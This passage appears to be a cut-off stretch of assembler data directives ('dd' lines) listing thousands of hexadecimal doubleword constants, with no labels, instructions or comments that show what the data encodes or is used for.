9E1C1B2Bh, 7918217Ch, 0FBC8643Eh dd 83955605h, 683BA7D1h, 482918C0h, 0FB2C7397h, 0D10BD8B7h dd 5264A04Bh, 55CE83ABh, 0F86C18B6h, 4F0750D1h, 4072D826h dd 9EA9F622h, 0A42520B8h, 89F0D697h, 44E1DF82h, 7D98D02Ah dd 3C27D14Fh, 3DD444FBh, 78805547h, 7F95AD08h, 7BEAAC05h dd 932E2878h, 980E8C12h, 80AF8B87h, 0F84B1590h, 82097C47h dd 0F59550C1h, 292180FCh, 347693C3h, 4F7FE8B8h, 0B65049F6h dd 1B19C86Ch, 0F268778Eh, 0E07031CDh, 0A180A187h, 0F2B2344Bh dd 93BAF8E0h, 34E850BEh, 0F67B055Fh, 590F7A8h, 0B7D186F7h dd 5A67F000h, 14681EFFh, 0E076A156h, 0CF744F06h, 0B6002152h dd 0BA057927h, 0A2FC7882h, 0E8635DC8h, 902C902Dh, 141CAFE0h dd 38ADB6F8h, 1BF10D4h, 5879349h, 0A7F7F2A7h, 0B0A098C4h dd 0DD173AEFh, 0ACB0E332h, 53DFDC80h, 20C08098h, 0A9FB7483h dd 0ECF19790h, 0B8B88B25h, 0A013ECE0h, 0F16828C4h, 4EE98C48h dd 85F86147h, 4C83DCFCh, 88D8D86Ch, 0DC9251A8h, 0F7DD4FD1h dd 409E5C21h, 0D42901AFh, 308182ACh, 17784E04h, 8A0A890h dd 0DA28B86Fh, 7854B029h, 0FD774CF0h, 77D8517h, 783ADCCCh dd 644CF22Bh, 5FCE92Ah, 58546779h, 0F2E3CFDCh, 0B3060D6h dd 4E6FCC76h, 3509D444h, 5809FABh, 0F4349044h, 494F64A6h dd 200972F0h, 0F0BA30C1h, 0A90CFD15h, 0E8347393h, 0B835281Ah dd 0B6D125F0h, 60FD1817h, 5FBED7F1h, 77115460h, 0B424B2h dd 0B1A5183Bh, 32812037h, 0B0DBF33Ch, 0E4A439E1h, 7C3303CBh dd 1497AD9Fh, 2B898CBh, 0A50E1948h, 2432F7E7h, 81EA0BACh dd 0F8A846C0h, 0B00EDB17h, 0D81FAF6Fh, 969B70h, 164B4EDCh dd 0E685CBCCh, 45E5A300h, 0CA8F9AC8h, 48E830DEh, 7E73AF20h dd 20A7F2EAh, 0C0E99088h, 0D8A4963Ch, 38164903h, 0E7CC454h dd 21BFC90h, 66F94B0Ch, 90626000h, 0E343BF9Ch, 85764D3h dd 980A07Eh, 80624800h, 0C110A0A4h, 6386799Bh, 0AD3A7849h dd 0FFF55008h, 62BD404Ah, 0A7469C8Dh, 8007D22h, 0CC2A6245h dd 1EF0E49h, 6E300178h, 0CACAACD8h, 0BE60F404h, 9C778A62h dd 70050A5h, 0FD9A6246h, 0FEC21DCCh, 0CA1085CDh, 21CC2BA7h dd 0CA9B2h, 0B88FFEEFh, 0BE051647h, 22634298h, 4C01C32h dd 1288903h, 18E824C0h, 90DE146Ah, 18189451h, 0A8D861DFh dd 73034972h, 619DBC97h, 48800587h, 0A43A6A1h, 0DC5C99F9h dd 50BA4123h, 128CE9A6h, 4FE8869Ch, 61017E1Ch, 81605FB0h dd 464781A9h, 79BBE817h, 9DD84280h, 0A277FB5Fh, 80B6632h dd 24564Bh, 26D8DA25h, 0D0008573h, 0E88D904Ah, 12C815F7h dd 1D9104D2h, 49E30874h, 0DC1C720Ah, 186B2E04h, 0FF08FA03h dd 67C483B4h, 45A4EC4h, 0C0BED341h, 3F9073ACh, 0A401CACh dd 80E496A0h, 0B9EFDC8Fh, 0EC30A516h, 985ED45Ah, 0BC44FD7Ah dd 50F081BEh, 7C318018h, 0B225A99Dh, 4C49073Bh, 4643E39Bh dd 55002104h, 0DD16A886h, 2ADF9060h, 1B94BAB0h, 88695C34h dd 0A67C1118h, 52B7E699h, 6AA8F422h, 0B000B846h, 0B206F45Ah dd 0E6129BE5h, 0D06243C7h, 4F84C01h, 9C916261h, 206B6247h dd 82624914h, 0F3001F7Ch, 0CABBFBDDh, 0C53023CBh, 400D7B60h dd 34D75F80h, 33E28E45h, 0DA05D307h, 9A20E202h, 28E69C87h dd 15444FA7h, 0F45C8EF1h, 0E4357E00h, 0A06992AAh, 88A43628h dd 0DF941C09h, 6C7CB9C9h, 3A40204h, 8483E47Fh, 21836438h dd 6D889040h, 9C7C27EBh, 82087A2h, 0E1C0B6ECh, 0E11BFD62h dd 0D8EB9C59h, 874F9C8Eh, 624A1300h, 1AAD0FCh, 0B04507DFh dd 261A2FCCh, 0F921004h, 0DC4CF84Bh, 0D45C38C3h, 0CEB0006Fh dd 0ED2F8E8Bh, 0F99790BBh, 4650A854h, 0A8890F18h, 439BE441h dd 59200532h, 1F1BA8F2h, 9297383Fh, 2030FF62h, 9189A28h dd 801CC302h, 52268402h, 0C7CCE70Fh, 0C8F0A8BDh, 19B5657Eh dd 455C200Dh, 44225A58h, 115016Dh, 241296E4h, 0ECF995ACh dd 77B10360h, 0BE3BC85Ah, 0D4330C10h, 63296A13h, 1C20C0B0h dd 59601E83h, 81C80CD5h, 7D302810h, 4D41D914h, 8C70007h dd 13FBF551h, 0A3275C9Fh, 801C5ED2h, 0FF04D57Fh, 0DA155DAEh dd 81A48303h, 165BDCB3h, 364858A1h, 0DC8088A0h, 80A4684Bh dd 0C0A447E4h, 88021946h, 0F3B22CA8h, 5A102131h, 0A100A901h dd 0F82AEC6Ah, 2D29CD2Eh, 10489517h, 5C006785h, 9C8CAD3Ch dd 90DA5FFEh, 0AB4F890h, 0A290AA26h, 0BE7060B8h, 531DB0ACh dd 0E2844B18h, 4583EC99h, 4F5100A2h, 38628A8Eh, 17196C21h dd 0B3082930h, 16F02182h, 0EB60F28Bh, 0B7618E98h, 0D718BB58h dd 1AE03035h, 87880017h, 6B96821Fh, 0D605D39Dh, 52D4638Eh dd 7E0DE860h, 96F00998h, 0D8012F0Fh, 72495C4Eh, 54DE0CB0h dd 78BED0E4h, 0BCC74897h, 0F793012h, 80C91518h, 70562831h dd 7640C054h, 5077FCEh, 0AF51A20Dh, 9CBC6015h, 0B21040A9h dd 8C84893h, 0A8F55680h, 26D51C50h, 2B04A07h, 5B8EA060h dd 99F84E75h, 46D3D068h, 0DC210C86h, 0B17119EDh, 741CA848h dd 10187F48h, 0B3024DD2h, 194773D4h, 5500F84Eh, 0E6B57FBBh dd 2E1261BDh, 82E4C886h, 19B3B2BEh, 0B0284C60h, 80500A49h dd 4695CAB6h, 5FBE2ECBh, 77284C90h, 6DB278C4h, 8C175488h dd 3E285498h, 988594B2h, 0A8FF5C80h, 2468B5DBh, 0CEBC961Eh dd 409B17A4h, 0B8F9971Ch, 602206CBh, 70B4E2C8h, 72089B02h dd 6DAA791Dh, 6020C458h, 1D53C786h, 425B4241h, 0FAEAA62Dh dd 0AF4384B0h, 0B0CD970Ch, 4096F8A7h, 0CE2A0D42h, 0B92CD4E6h dd 0FC13C443h, 43DEB82Dh, 6BF244h, 55D6F8CEh, 0BE4A7A0Ah dd 1540AC66h, 0A8C0ADCh, 364FE646h, 46B828D0h, 8A8D01D8h dd 6B7938BDh, 808A490Ch, 49B8B73h, 3F36F441h, 999821ACh dd 0EB3A21B1h, 28DE6A09h, 0F0B8D5E4h, 8CA8327Bh, 6500E979h dd 8DAD023Eh, 6BD69D3h, 10969C97h, 8F279842h, 802454FFh dd 73E8264Eh, 6C00CC14h, 663E1CEFh, 60D335AEh, 3C9F79BFh dd 0DD0010ECh, 4E64545Ah, 7E6EE5h, 0AFF30CA3h, 7AB853CAh dd 0BA2B88C0h, 48F46265h, 2D174C20h, 23942F51h, 0F29C0306h dd 15A3DC10h, 33691905h, 0D0001728h, 5841797Fh, 918D0E64h dd 48E0DFBBh, 1BF8526Ah, 332C78C9h, 0F6A1F0E8h, 0DC0A8546h dd 50244CF2h, 0CB459C05h, 6C80F804h, 0D60C2600h, 64B97C11h dd 2201CB00h, 79CA2F8h, 68C20763h, 8C42C03Fh, 1E37B860h dd 0B8E96851h, 3959C8h, 0C3E1D505h, 97587EFDh, 8DF5F001h dd 0BEA05E7Bh, 5C1D2995h, 1184660Fh, 8E2950E2h, 0B0576018h dd 6EFE2AC4h, 7A101E4h, 0B8A8E6DBh, 8E742009h, 9934A240h dd 649F39E8h, 0C4AE8099h, 494D1EB1h, 0D49B6801h, 0DF071674h dd 19A30F8h, 0C39E9071h, 3A898E9Dh, 0E41C34F2h, 5C120C5Eh dd 9800B458h, 858D057Fh, 4CBE93ADh, 0FCCB48AEh, 18918897h dd 28E6FB81h, 126C23CDh dd 0A020B015h, 0C4E60F2Fh, 0C68685F8h, 0C220E8FDh, 2668E6B6h dd 0C0483B8Ch, 8BFE9D23h, 97C04560h, 12295388h, 64C8B568h dd 4BEC8210h, 12D82D30h, 0CB335E88h, 0E5260054h, 7E19B0D8h dd 0C5240FF9h, 5EA14D01h, 22A38AB8h, 44878034h, 0C146F7E6h dd 73CAB288h, 33944217h, 0B6A0A8E8h, 18B3B740h, 984C4424h dd 0FE329FE6h, 0ECD6185Dh, 343D4C70h, 0C5D95031h, 666FEDDCh dd 0F89C24B8h, 0B830F116h, 0B277B438h, 3074A098h, 399300A8h dd 969D4D1Dh, 494DE134h, 13D235Ch, 38BC8A8Ch, 88B51871h dd 8B0B14E6h, 2A5B772h, 1D93CE4h, 0A756AC2Fh, 96B4D4C8h dd 85C4F061h, 2E2AD439h, 0E100088Dh, 141648E6h, 269D7617h dd 81A0414Bh, 0D38F8CE7h, 1065EDh, 0F730B6D4h, 0AED2211Eh dd 11232089h, 43CFF38h, 8F6263C0h, 448C579Ch, 4B3E0682h dd 6EAA8062h, 0DF325417h, 550E092Eh, 3C6207FFh, 7C940440h dd 77F04082h, 1A463C81h, 911CB692h, 104EDA58h, 0CF170BCCh dd 5A689819h, 94C0D30Ah, 0B4C86680h, 0F8FEFB3Fh, 0EE180079h dd 9021957Fh, 55093B6Ah, 45518760h, 6023C41Ch, 43E99EBh dd 191FC11Eh, 0C26490DDh, 0D500E4D3h, 0A4EC5679h, 16F19D3Ah dd 8FDD0CB2h, 14638444h, 1463107Eh, 0E809C5B8h, 31D7EC98h dd 0BEC48A40h, 22814638h, 12E400B4h, 0DDD5918Bh, 0CB241D9Dh dd 467408ACh, 50A43E7Eh, 4F5892A8h, 5B009D3Ch, 0E8BB5F38h dd 0DA7AB5h, 6210A6Bh, 3A900374h, 96BCBE02h, 406F61BBh dd 13A9AC62h, 7B7895h, 0AA84DE41h, 0A000B193h, 1A6ED602h dd 66BA77E9h, 21A80901h, 0D6FA4001h, 52599117h, 1F6A79F8h dd 14FE9Ah, 701C5833h, 6B065798h, 83D7C5A5h, 0CE3C1D68h dd 86B4004Fh, 49D61437h, 0CA5B18C0h, 0CA1CD09h, 0E693A2CFh dd 0E8C2690h, 1A6DD601h, 80AD8891h, 50D6F943h, 90E81C66h dd 21D0C002h, 0C00CFA4Bh, 0E83268CEh, 0A6B93FD9h, 9F517880h dd 0ACF43BEDh, 80BB953Bh, 80B1912Ah, 74FCE9AAh, 0B6E733D8h dd 53A00910h, 21C09792h, 1C46D73h, 0A55206E8h, 87A10AEh dd 56317E60h, 0EC4BC465h, 629605C0h, 0B7B155h, 3E1AE6C8h dd 8300902Ch, 36233BACh, 4B86A98h, 0FBE4B386h, 1C6B0785h dd 0AD04D3h, 1E69228h, 1FA12786h, 80F0AF60h, 624FDC33h dd 62230BEh, 88FA2481h, 938880A3h, 1D05F1B3h, 0ABC00001h dd 0EB8F6D92h, 6B014A40h, 86BA1B29h, 0FB14B5h, 0ECB5B31h dd 2C06F913h, 38AA51DFh, 0CCD8744h, 0BDE86604h, 0A01893A0h dd 6329FD05h, 425C3C9Ah, 18F3160Ah, 6862BEB0h, 34018178h dd 42557CEh, 543A62E0h, 1B19E44Ah, 58AF7C5Eh, 0AE1A3BE8h dd 0A1C45890h, 548B7AB1h, 50C0ABC8h, 765933CEh, 0E4271ECDh dd 70F3003Dh, 0EF0C86B5h, 3E1CED0Ah, 858EB868h, 178C5FF5h dd 0A93A0FCh, 0A330F706h, 7C320D8Ch, 8C98F238h, 31809B47h dd 0B0876CCEh, 13E73BD9h, 0F31D6F8h, 0F42BDB70h, 2AD1B643h dd 79A319E0h, 44E98E00h, 0E0EEB866h, 0D06C496Ah, 15128D80h dd 8906E56Dh, 0B21A2BE9h, 5F8F0C68h, 33B8B4B0h, 0EE363D0Ch dd 92AA07Bh, 9E619182h, 0E2E17403h, 0B9F93018h, 3A42F689h dd 152C87A2h, 0A9BA3F8Ah, 0CD248D80h, 0A67C3CC3h, 7A80E002h dd 4C52B60Eh, 0C46C3880h, 886AE811h, 64518079h, 0CB9BE3C4h dd 0B416D901h, 668D6150h, 0D73D2180h, 0E9E768A8h, 4B57F600h dd 906CF588h, 0F1CD38B1h, 373063BBh, 0A139AAA9h, 11A51E31h dd 70228B0Bh, 8828C600h, 7554456Fh, 0D9BB6200h, 198914F0h dd 0BFEC2846h, 5E39128Ch, 0F8644685h, 0D11C49B7h, 63805101h dd 75CC6D09h, 7B2F016Ah, 0A2BEEDDh, 6F9840D7h, 0C775FC36h dd 2D86C4A0h, 0B0738A28h, 230CF94Ch, 0C4500156h, 184AE804h dd 6855887Ch, 0A38FC407h, 0BED37FB7h, 1861F860h, 9A1E1B3Fh dd 6ED15842h, 211FEDEDh, 0CBD80CFCh, 99145F00h, 40A49443h dd 983302ADh, 0DC20B984h, 0FFE82C40h, 0B8301C98h, 623F996h dd 584E6E9Ah, 9389E94Ch, 0B41A6124h, 0EC04A010h, 80AB103Bh dd 0E2B58CD4h, 349014A8h, 33116C61h, 0C44806A1h, 0A64D4C65h dd 6830AE18h, 7C90980Bh, 0FCEE0C09h, 2BE48151h, 0A444CFE2h dd 31258509h, 0CC2004DCh, 0DC19491Ah, 46809588h, 0E0A5D6FCh dd 0BDE0060h, 0FA16C263h, 9318109Dh, 7A890159h, 32C4A3A8h dd 13A90B60h, 92FA4890h, 0A81E2B18h, 4C2E1988h, 0AC033C01h dd 0C0223BD5h, 12471800h, 6C3250EAh, 0E20B3092h, 0B32E1D31h dd 93C48E4Ch, 73204C19h, 7A8F9850h, 0BE231847h, 319F30D4h dd 0EE0124B1h, 5B7A4ECFh, 6416B500h, 0B00A809Ah, 98911B36h dd 0B8DF1083h, 16A81A33h, 744748B1h, 80609744h, 0A01A85Fh dd 410CCB58h, 218090DFh, 1017E3ACh, 0DE71CC92h, 19F4FF00h dd 0F52F5467h, 298F63DFh, 61E921CFh, 44DC60B9h, 6495F8C2h dd 0EE6064F9h, 523F00F6h, 3E74DF2Ah, 9800B0E4h, 0FA6AFE9Bh dd 14EE2D08h, 680460E6h, 0D20C5080h, 3512A88h, 6137EDD8h dd 1060B04Ah, 0EF203E19h, 62146608h, 584AD33h, 0AF3223E8h dd 6D098C22h, 8C00CE48h, 9CE324D1h, 30675800h, 8A05BFA9h dd 0A0909078h, 1A1A512Ch, 88A8CC66h, 451F6CA5h, 0C120A2D4h dd 827A5ED9h, 23E5A530h, 5F0C6084h, 8BFA3E81h, 91009C49h dd 3F3B6968h, 9733CE45h, 0AF0936h, 69517121h, 0EBB7E20Ch dd 0C416D800h, 0EDD4A92Bh, 67430412h, 90142E1Ah, 893539D0h dd 3B63A509h, 6064A346h, 0C8B4F12Ah, 90567FDCh, 1C9891D4h dd 5D69B08Bh, 0B69033A3h, 0F198A500h, 3F66CB4Ch, 0F4271EB5h dd 71023A14h, 0A626E70h, 64830460h, 0CABB9400h, 6B459007h dd 0B0D22CB5h, 2974F04h, 1363A116h, 0B701FCC0h, 12480A88h dd 4ACEEA23h, 3A483084h, 31815C81h, 48A9C7DCh, 1122B598h dd 7BCE2AB7h, 25746ECh, 0E805C451h, 107B3132h, 4C4692Ah dd 571108EDh, 150C104h, 953617B3h, 27BF0249h, 57741AE7h dd 7C11349Dh, 0BC39A480h, 8CE2F52Dh, 0E137E200h, 0B0E8990Ch dd 262C988Bh, 44A89B58h, 0B6314077h, 7A1E3D23h, 401C918Ah dd 111AE236h, 294C3900h, 2F90B19Bh, 6279C226h, 0CC48853Ch dd 7A026366h, 1D5E1E73h, 0EE6060B2h, 342EF0CDh, 8010193Bh dd 0E4661C50h, 92A4BD48h, 0AD23243Ah, 4D6ECC00h, 0CEEB23Bh dd 455B0C41h, 98404FB8h, 4084B0BEh, 144C334Ch, 0F8368014h dd 48766C31h, 2612F8A1h, 0A9141825h, 0E582B409h, 8B71EEA8h dd 909B833Eh, 50A7F12Ah, 2A61D820h, 0F8A9F9h, 69F53BCAh dd 849A5733h, 0C0092B66h, 23EA0F21h, 0C5A070F5h, 7450AD73h dd 0F2163D09h, 9700A176h, 84509ADEh, 699198h, 0E353F8B0h dd 1437BC8Ch, 80AD2F28h, 2998DE30h, 0E5D204h, 4BE08551h dd 283E1A66h, 0CC0BA52h, 0C965379Fh, 78BD498Bh, 0BACF8907h dd 2FA9F090h, 100B3D7h, 0DA37354Dh, 90512759h, 503DF054h dd 498FB0D0h, 821E9CBFh, 9EC30CD3h, 0ACA23E10h, 0D84C48E2h dd 36163C18h, 0DE6D93D9h, 4068081h, 0D284962Dh, 0E94A5813h dd 0B1E61E07h, 0B45084E9h, 0B06B84D2h, 11F53DACh, 8807326Fh dd 25EC80C1h, 0B5ED98F5h, 0B2125076h, 44166DD0h, 0FA88C021h dd 0FC50C828h, 949BFCh, 3F3D686Eh, 4486C975h, 57007BA9h dd 7E4C0169h, 5C9FF3B7h, 0D8629ECDh, 0AC40D331h, 2980427Ah dd 85DB20DCh, 0B275B101h, 0C94AF316h, 1E06202Ch, 38546678h dd 0AD6A0E72h, 0FC08DCC0h dd 0C01384ACh, 8F80C05Fh, 6E063F79h, 95586604h, 45930520h dd 3C26FAA8h, 5B463F20h, 616B0102h, 0DC5905A1h, 97EB88h dd 0DAB5C13Ch, 2F19D8FFh, 904893E8h, 408C25h, 17DB128Ch dd 574E5D9h, 0CEC42E3Ch, 3E184C4Ch, 0BC0F8h, 0D3AFECEAh dd 724636B1h, 0B861B54Eh, 2C20D1B0h, 429F4E0Bh, 0BB9AC020h dd 8F80300Bh, 80E8203Fh, 75F66E07h, 219EEB0h, 40B8AD3Ch dd 62B123E8h, 87E060D4h, 45B4040h, 4B68DD07h, 8DC96D9Bh dd 2C7468CDh, 0C6162AB0h, 92CF35DCh, 421E19h, 6F96919h dd 0B54E4A7Ah, 0EE654027h, 0E6312000h, 0F4F31356h, 46309CA8h dd 3C3921A6h, 0B8E9ACD2h, 1AB23381h, 0CC240C36h, 0CE350430h dd 0B4B57327h, 8E8AF6D4h, 48C095D8h, 903822E4h, 0A43A4D49h dd 0C2D60585h, 0A46C2118h, 47AC44h, 928BD6FDh, 11295B04h dd 2207A7F0h, 9FC4AB51h, 91E82838h, 18BDD164h, 2307CE2h dd 785FCF90h, 0B46262C7h, 0B76E0841h, 0CE8158D9h, 10347EDFh dd 0BAE70001h, 59B87133h, 74E4F52Eh, 0AF033278h, 91BD300Ch dd 0A96BA0A6h, 18A7FC2h, 8F842C04h, 987423ADh, 0E421B808h dd 412E0182h, 0BC545A37h, 3C1880A2h, 0E764D81h, 39E63CF5h dd 23645580h, 72FC8EF9h, 9A4C3501h, 0BD5FAD6Ah, 26A81E20h dd 77212Fh, 58327136h, 18C391D1h, 0E6F2F8BBh, 6338EEB0h dd 6B9A317Dh, 88E68B83h, 0CA50A200h, 0E7B9026Ch, 0B1A619CDh dd 804708AFh, 6CC27721h, 24AE84h, 54B10961h, 0F0BDFAF8h dd 35998B00h, 7D2FD471h, 60D29Ah, 88817269h, 0A10CB21Bh dd 0A0CBB8C5h, 0CC5E009Ch, 2BAF6E4Dh, 0C36190CDh, 0F2EF418h dd 0F9F0A571h, 72F818B9h, 0AE08B8BCh, 0EF58BD39h, 922E8228h dd 60610226h, 80BE8840h, 0A2182100h, 0A8A0D7E5h, 0A9630636h dd 9099B938h, 83EC9606h, 30684721h, 2D803ECCh, 0C740A0EDh dd 5D0F30C2h, 0B53003A6h, 7A49C861h, 0D850AB2Ah, 0E9F83FF4h dd 0F308D450h, 0A05FF828h, 30ED2B5Ch, 6A50ADBCh, 5E602C3Fh dd 0E6EA0868h, 0BDCC0A52h, 1178C6E0h, 378B1523h, 173200B4h dd 0DC680AF8h, 0A788C83Eh, 809B434Fh, 5436E774h, 78A15458h dd 0CC6618F6h, 0F4C51959h, 0D56881FBh, 6F18F9A9h, 88BB980h dd 25F48F66h, 0EC34C707h, 7F46C6EDh, 3B27021h, 46F4A866h dd 0C10052E0h, 96B52DB1h, 5021F0B9h, 0A492F89Ah, 2A65018Ch dd 0C5911A8Fh, 0B822F3B4h, 0F280C89Ah, 886601C0h, 4078D1F4h dd 0AB008422h, 155C65F9h, 9C167FFh, 0A241018h, 86FA1D80h dd 78303EF6h, 8F019846h, 240F05BBh, 64C3BAFFh, 8BC06188h dd 4DB05043h, 0C7002886h, 4CB8D999h, 3D8B266h, 10C4D5B3h dd 348850D0h, 0E761B52Ch, 0DD8AEB49h, 88F37420h, 0ED242C09h dd 0CC801C50h, 287A5BF9h, 0C4E6481Ch, 490162Ah, 5387A313h dd 0C91890ADh, 0CA01F301h, 6F541F32h, 898E72Ah, 0F9F021C6h dd 5364F300h, 9D0F1665h, 0E2D10ADCh, 69E8A288h, 3CD0141Bh dd 8300B2ABh, 46C961EEh, 34A42FFh, 0E61DD9E8h, 8E03F27h dd 0A490CBC7h, 0F9283209h, 0E488088Fh, 18D0160Ch, 3E2EF836h dd 3104AF62h, 9AB9720h, 0BC6884F9h, 32E8960h, 117C2C23h dd 81E300BEh, 663DA32Eh, 94550062h, 0A64031A0h, 0C849F8EDh dd 6498538Ch, 8E60C160h, 2C23082Eh, 0B911A4h, 0C02E86E8h dd 948F009h, 815957D3h, 330180A1h, 68B880D1h, 0E4DE6423h dd 0C4BD12ADh, 13B822C9h, 94B35720h, 0A4D44966h, 78B52F08h dd 0BD80B0A1h, 0C786A620h, 0EFA4A0CAh, 0D8410049h, 37598D5Ch dd 8048C5DCh, 0F72370h, 0F48D6606h, 8085C715h, 4965FEB0h dd 4A105803h, 11091A20h, 60B07AF6h, 27F13C21h, 1E8C76E4h dd 888A6603h, 8764C6FDh, 65FBAD42h, 0A8D847C0h, 0A066DD01h dd 0B353AB0Fh, 0FE05E180h, 7D410D95h, 8F24A6B8h, 1D120CFDh dd 0A7116042h, 5CBC8031h, 48242E83h, 0AD348412h, 0E134C121h dd 503A0780h, 3B83465Ch, 0E76F803Ch, 2497F5FAh, 55930909h dd 0F4826A0Bh, 0CE0E29ABh, 0BFDF05BBh, 0F302F001h, 0EF3F23Fh dd 0C08A2AC9h, 870B8024h, 0EC62404h, 6F65E6DAh, 2BB502A0h dd 6B3627B9h, 74F69000h, 0CD2A042Eh, 800D6029h, 7A30A804h dd 3892BCF6h, 71B6B11Ah, 0F88840B1h, 0BD2D803Fh, 0C892D87Ch dd 0A083B7FEh, 3628B39Ch, 4080C327h, 7A88B57Ah, 2084F560h dd 4436AA31h, 3A52C8B4h, 8423D4h, 0C94DE87Ah, 0E4909CC0h dd 0E053D144h, 92B2406Fh, 0D0444A35h, 0C0C0B808h, 2C072E8Dh dd 0E7859C43h, 3B78085h, 0A6150B21h, 0EA0428Ch, 731720B9h dd 2FBC2022h, 0D39B0882h, 3D8B23h, 5D55AD31h, 0E94EDB9Ch dd 0E0A72902h, 8EF13C25h, 2C28E8F4h, 0C9140808h, 79007826h dd 3C469480h, 0ED25804Dh, 6B21E860h, 0D6B426B8h, 0FC680461h dd 6CC6308Ah, 0C7B921FEh, 6CBE73C0h, 0C4E90A9Bh, 0BE908C2Ch dd 0E00B33Ch, 0ADC1F52Bh, 700D4E5h, 0CC8C9D1Ch, 12739C84h dd 4B089F6h, 429BD384h, 283DD60h, 4C44F93Fh, 493138F8h dd 0A719187Ah, 88CEF454h, 0C5C08688h, 728F84Dh, 36C1ECFCh dd 0D05304B9h, 353032E0h, 9868826Ch, 5FB488BCh, 0C6B8920h dd 9C34D180h, 1E90B20h, 4EB2EB8h, 0C12496F9h, 0F8E49278h dd 8660730h, 0C71DF48Eh, 0B1408064h, 481165FFh, 1958330Ch dd 0EFBB7092h, 91F1C071h, 7635B100h, 0DA682B00h, 0F640672Ch dd 305C5D36h, 1CF02D02h, 0ACC12656h, 1E6B00AEh, 109890ACh dd 633C5E3h, 0FCBB4916h, 7D231530h, 2808B4AAh, 0BD0385CDh dd 77586908h, 8B7607E0h, 0A6602CC3h, 3005208Eh, 83F2C0DFh dd 4658203Ch, 69206255h, 6361079Bh, 9002AEBBh, 216EB462h dd 119C08C4h, 660487F5h, 0E705F432h, 0FCAE02B4h, 0DCE3E765h dd 2384FC40h, 0F7ED2Ch, 81BDA80h, 242D7A91h, 44E0304Eh dd 2E8860BBh, 742C2302h, 0E200BA11h, 34732E80h, 4B056F19h dd 0CDE4C52Ch, 89BCB015h, 0EA0C02F2h, 81F9059Bh, 3A2CD88h dd 0E4339DBBh, 68B6F0B3h, 0C50C33B5h, 0F2F0AF48h, 40580E48h dd 0AC4C1460h, 68831930h, 0F7C0A1D8h, 2C305381h, 35787631h dd 456F0C9Ah, 0ADDC01A1h, 0CCB1088Bh, 56419520h, 7E10B064h dd 4482BB49h, 80006492h, 4D843F6Ah, 0F4001C55h, 9B742A7Bh dd 154CD4D2h, 0C3131254h, 9A4D8CD1h, 360CC104h, 7D1C2918h dd 34E85F89h, 805005Bh, 90918DB7h, 0B4A0A3A8h, 540A4C62h dd 0A825EAF9h, 5C19B81Dh, 0C9308739h, 0C5351F91h, 4C01D270h dd 0E9213190h, 2D659E0Ah, 63179834h, 30045053h, 0F744B3C8h dd 952A00A2h, 58CA0AC9h, 0B4A134ABh, 608C1597h, 0DE861FF5h dd 0ABA4E6h, 1C6EACFEh, 3054447h, 5B8C81A3h, 0A494C008h dd 82190C06h, 610A1C49h, 0E820E5CCh, 1FA17066h, 0E048C52Bh dd 2CA7F605h, 0DC526BB5h, 8523203Ah, 600BB1Fh, 0CCD32FA0h dd 0CF80A1A3h, 2066EE00h, 0A2C85050h, 0EDF03F18h, 4AA313E1h dd 0FDB03083h, 3223C6F3h, 9BD11FFh, 89F3F5ECh, 74C3050Eh dd 0C82CC413h, 327A888Bh, 0CBA424F3h, 0F1CED27h, 102C8960h dd 0CFA22C0h, 409A9286h, 0ED152B10h, 32DCB5FCh, 0E00F29E7h dd 0E869F734h, 0A0CC72BDh, 8B34886Ch, 546574CAh, 0F63DC210h dd 73045B0Bh, 46F0BC21h, 0EF4010BDh, 3F2F8020h, 98FB0526h dd 5A024751h, 0DE23209Ch, 0C17271Dh, 0C4804991h, 73086D47h dd 0B0A020F7h, 0F0724341h, 0E030BBF2h, 89B70B92h, 34829B25h dd 0F00D12Fh, 13322724h dd 4F02E12h, 13BBC9Ch, 0E8D4012Ch, 0B8001021h, 31831724h dd 0B8800D69h, 6FC7231h, 0BE22F839h, 20086B50h, 4A49EC0Eh dd 0B7949CC8h, 4882C181h, 0FD7BE21Ah, 33442052h, 0A822243Fh dd 0A0EF087Ch, 3020F831h, 3E7DF408h, 8A104C65h, 4330C8h dd 0DBD613ADh, 0BE793818h, 23773402h, 408C8308h, 12ADBAB1h dd 8928BB4Ch, 54A88978h, 0A7642EB1h, 9CC09D45h, 4BD620D5h dd 0D46EA9h, 207FFA16h, 22758D7h, 0E5CBCC97h, 1C7AB424h dd 74ED2D15h, 800C4D08h, 0F9922AD1h, 38340BF4h, 34A87B15h dd 310D01D8h, 0F6FC6674h, 940F88AFh, 0F5E5405h, 0A7CC7A08h dd 0E9000891h, 2F0B5DECh, 17A2B86Dh, 5302F861h, 0C7047470h dd 2B82C888h, 64B590BDh, 72844550h, 0EC77003Ch, 850F066Ah dd 9F302C9h, 6F303B11h, 92299466h, 4E0F9CA8h, 8CA6FCB2h dd 0A1846010h, 0E064F680h, 1348A66Ah, 0CFE66Bh, 0DABBFF04h dd 6E643127h, 348086D0h, 549195Dh, 212FFC04h, 383C022Eh dd 70728955h, 48191A6Dh, 1A69F1C4h, 709BB5B2h, 0D3E010B0h dd 0E35CC205h, 66C21669h, 469864A3h, 0F3FB0281h, 1CEF32C4h dd 0B5E2EA7Fh, 40752902h, 722B2EF4h, 6AC714A0h, 4050085Fh dd 8B048CBEh, 8C2C052Eh, 0E500F48Eh, 9B102E83h, 2B3E8048h dd 273CBED6h, 250A938h, 188AFE44h, 0B9E06CC8h, 0E82CD74Ah dd 6CC00275h, 86FDD5B3h, 0D44874E0h, 0D3459E81h, 0F0274441h dd 0F32E7Ah, 0D5F85389h, 0F22223B9h, 547AEFB8h, 0FC80B554h dd 0DC25B200h, 3BE1A43h, 0B03101B7h, 1BA068D1h, 0C84C22C5h dd 3F30BDCEh, 8D9DEF99h, 8159A703h, 0A81915B2h, 24D42656h dd 8A8BF47h, 0F605A14Ch, 74910C3Eh, 41803C8Bh, 1BDB5CB1h dd 70B8B521h, 3062E722h, 78A9B754h, 7700D7CDh, 0B35A18E8h dd 10D131h, 0BB0952C2h, 0B458A969h, 23AC39D0h, 6CC501FBh dd 18BFB9FDh, 0BD728844h, 98166C2Eh, 1461AB1Ch, 4CEC28ACh dd 0A78E008Ch, 975D9164h, 0BA2C9FDFh, 0CC243BBBh, 0F42684ACh dd 320CA911h, 0E171B828h, 0A3140104h, 688183E2h, 0E09064BBh dd 602ED3B8h, 8C004A23h, 78BBE870h, 9264702Ah, 0C4DA4020h dd 3530B814h, 18C287E8h, 3F6A3C90h, 60809217h, 28338808h dd 389E7921h, 2C4E3164h, 0CB983092h, 0D65E4CBDh, 546C1444h dd 0F8200416h, 80BB4AAEh, 7627DC80h, 0DACB4Dh, 12F82FF0h dd 1C15018Dh, 3D4C3209h, 306C2928h, 78AD57A8h, 5ECC9E0Ch dd 758646h, 120DAB1Eh, 